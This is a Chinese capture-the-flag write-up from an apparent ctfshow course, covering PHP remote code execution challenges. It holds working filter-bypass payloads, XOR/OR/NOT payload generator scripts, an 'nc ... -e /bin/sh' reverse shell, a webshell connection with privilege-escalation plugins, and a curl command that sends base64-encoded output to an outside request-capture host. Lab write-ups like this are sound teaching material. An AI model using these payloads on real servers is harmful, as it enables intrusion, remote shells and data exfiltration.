ctfshow私教课第三节

远程代码执行

Remote Code Exec
Code指脚本语言(php)的代码
常见函数有

  • eval
    这是字符串,表示将字符串按照php的代码执行
  • call_user_func
  • call_user_func_array等等
  • 使用参考PHP7中文手册

命令执行和代码执行的区别
前者执行操作系统的命令 后者执行脚本语言的代码

函数调用的格式
函数返回值 函数名字(函数参数);
$ret=system(“calc”);

ctfshow私教课web20

1
2
3
4
5
`<?php      
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET[1],$_POST[2]);
?>

经过php7中文手册查到
call_user_func — 把第一个参数作为回调函数调用,其余数据是回调函数的参数

输入图片说明

eval是语言结构,不是函数,这里不能使用eval
?1=system 作为回调函数
2=cat /f1agaaa作为回调函数的参数
二者结合就可以拿到flag

ctfshow私教课web21

1
2
3
4
5
<?php      
error_reporting(0);
highlight_file(__FILE__);
array_walk_recursive($_GET[1], $_POST[1]);
?>

查阅得到信息
array_walk_recursive — 对数组中的每个成员递归地应用用户函数

输入图片说明

第一个输入一个数组,数组里写函数参数
第二个写要执行的回调函数

ctfshow私教课web22

1
2
3
4
5
6
7
`<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/system|func|array|preg|eval|exec|passthru/i",$code)){ eval($code);
}
?>

使用拼接法
?1=$a=sys;$b=tem;$c=$a.$b;$c($_POST[1]);

然后运用POST传参
1=cat /f1agaaa
就可以拿到flag了

ctfshow私教课web23

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/\?|\;/",$code)){ eval("?>".$code);
}
?>

输入图片说明

注意题目中有eval(“?>”.$code);
这代表php代码已经闭合,如果在后面直接写的话,都会以文本的形式体现
所以我们应该自己写一个php代码,但是题目中禁用了?和; 我们只能找其他能使用的
在php7中文手册中找到

结束

php又有一个性质是,在最后一行代码结尾的;可以省略,所以题目中没有使用;
最终转接拿到flag

ctfshow私教课web24(有反弹shell)

1
2
3
4
5
6
7
`<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(strlen($code)<=13){ eval("?>".$code);
}
?>
  • 第一种方法:不使用转接直接执行命令
    输入图片说明

    这里使用了短标签,也就是的话,最后一个;可以省略,如果没有的话,那么;不可以省略

输入图片说明

再使用*代替f1agaaa拿到flag

  • 第二种方法
    使用反弹shell的方法

    首先使用VS打开linux的远程服务器,监听3389的端口
    nc -lvvnp 3389

输入图片说明

这一段首先删除了和最后的;必须存在一个
这里使用了转接,用2进行
nc 服务器公网IP地址 3389 -e /bin/sh
注意-e后面有个空格
再点EXECUTE然后使用自己的远程服务器看到回显

输入图片说明

执行系统命令,我们就可以拿到flag
输入图片说明

ctfshow私教课web25(使用蚁剑)

1
2
3
4
5
6
7
`<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/include|require|eval/i",$code)){ eval($code);
}
?>

使用phpinfo()后,我们可以看到它还过滤了一些函数

输入图片说明

这里禁用的使用拼接法也没办法绕过,我们可是使用蚁剑进行解题

这里我们使用转接然后使用蚁剑进行解题
题目中禁用了eval,但是我们可以尝试使用不同的解码器进行绕过,base64,chr等等都连接不上
这时候我们就要使用其他函数代替eval,这里使用assert,直接使用同样连接不上,但是在使用base64编码或者其他编码后发现可以连接

输入图片说明

这里我们看不到flag是因为权限不够

输入图片说明

我们可以使用蚁剑的虚拟终端,蚁剑能够自动帮帮我们绕过一些禁用,禁止查看,但是仍然会有权限不够的情况,我们可以利用蚁剑上的一些插件进行提权,然后查看flag,这道题不需要提权

输入图片说明

输入图片说明

ctfshow私教课web26(蚁剑+插件)

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/include|require|eval/i",$code)){ eval($code);
}
?>

首先是和web25一样操作在蚁剑上添加数据
但是在虚拟终端查找时候,我们发现没有权限查看,我们需要进行提权

首先打开这个插件输入图片说明

使用第一个,进行提权输入图片说明

提权后,我们打开发现插件写入了一个.antproxy.php输入图片说明

我们重新连接蚁剑,注意需要改成图中样式输入图片说明

连接后,打开虚拟终端,进行简单的绕过,我们就能拿到flag

输入图片说明

ctfshow私教课web27

题目做法同25.26类似,只是提权用的方式不同

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/include|require|eval/i",$code)){ eval($code);
}
?>

这里使用和26.27相同的方法放到蚁剑里然后使用工具进行提权,拿到flag输入图片说明

ctfshow私教课web28

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/include|require|eval/i",$code)){ eval($code);
}
?>

方法和web25.26.27相似,只是使用了另一个提权工具,连接蚁剑方法参考web26.27

输入图片说明

ctfshow私教课web29(无字母数字rce,异或+或+取反)

1
2
3
4
5
6
7
<?php   
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){ die('hacker');
}
eval($code);
异或

这里可以使用异或绕过
有两个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i<256;$i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
# import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

这是脚本的使用方法输入图片说明

使用异或绕过后,我们就能拿到flag输入图片说明

这里也可以使用或绕过,脚本使用与异或绕过类似,这里附上脚本,感兴趣的可以自己尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0;$i<256;$i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
取反

这里也可以使用取反绕过
代码奉上

1
2
3
4
5
6
7
<?php
$a=urlencode(~'system');
echo '(';
echo '~';
echo $a;
echo ')';
?>

使用方法是将system改成你需要的指令,第一个是调动函数,第二个是调动函数的函数参数
点击ctrl+s保存后
打开本地的php环境,就能看到经过取反后的指令
进行拼接后,记得在最后加个分号
下面是使用教程

首先输入函数名称输入图片说明

去本地php环境中查看输入图片说明

将函数名称改为函数参数
输入图片说明

再去本地php环境中看
输入图片说明

最后进行拼接,注意在最后面写上;
输入图片说明

拿到 flag ,例题仍为ctfshow私教课web29


这里的取反绕过可以直接看控制台,不用这么麻烦

ctfshow私教课web14

1
2
3
4
5
6
7
<?php     
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag/i",$cmd)){ shell_exec($cmd);
}
?>

首先php7中文手册查询shell_exec的作用
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。无回显

/?cmd=cat fla?.php>2.txt
再访问2.txt就可以得到结果

使用cp的格式
  • 使用>
    例如 /?cmd=cat /flag.php>1.txt
    这里需要使用指令,使用cat等
  • 直接cp
    例如/?cmd=cp flag.php 1.txt
    这里只需要知道目标的名字就行了

ctfshow私教课web15(反弹shell)

1
2
3
4
5
6
7
<?php     
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag/i",$cmd)){ shell_exec($cmd);
}
?>

虽然题目和web14相同,但是没办法使用mv和cp了,我们可以考虑使用反弹shell

输入图片说明

先监听,然后再反弹shell

输入图片说明

最终如第一张图,输入简单指令拿到flag

ctfshow私教课web16(高级信道)

1
2
3
4
5
6
7
<?php      
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag|dnslog/i",$cmd)){ shell_exec($cmd);
}
?>

https://requestrepo.com/#/

首先打开网址,复制url

输入图片说明

然后回到题目,开始构造

输入图片说明

横线处为复制的url但是前面需要加上 curl http://然后后面进行传参?1=ls .|base64,这是我们要执行的命令

这里的ls .查看的是本目录的东西,需要在ls后面加点,经过base64编码

再打开网址,找GET命令
这一段经过base编码后的字符串就是我们查询的结果,经过解码后就能看到

输入图片说明

输入图片说明

我们再重复操作,就能拿到flag输入图片说明

当然这道题使用反弹shell也可以拿到flag,感兴趣的可以自行尝试


反弹shell的指令可以通过一个网址拿到,就不需要记了

http://your-shell.com
访问后可以看到输入图片说明

复制过去,然后将your ip的地方改成自己的ip,将端口改成自己监听的端口
后续操作和普通的反弹shell相同,不再一一赘述

输入图片说明


ctf之路很长,我们要慢慢走。
2025.1.14